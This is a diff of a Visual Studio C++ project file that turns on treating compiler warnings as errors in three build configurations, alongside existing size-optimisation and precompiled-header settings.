@ -227,6 +228,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile> <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors> <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile> </ClCompile>
<ResourceCompile> <ResourceCompile>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
@ -400,6 +402,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile> <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors> <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile> </ClCompile>
<ResourceCompile> <ResourceCompile>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
@ -461,6 +464,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile> <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors> <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile> </ClCompile>
<ResourceCompile> <ResourceCompile>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>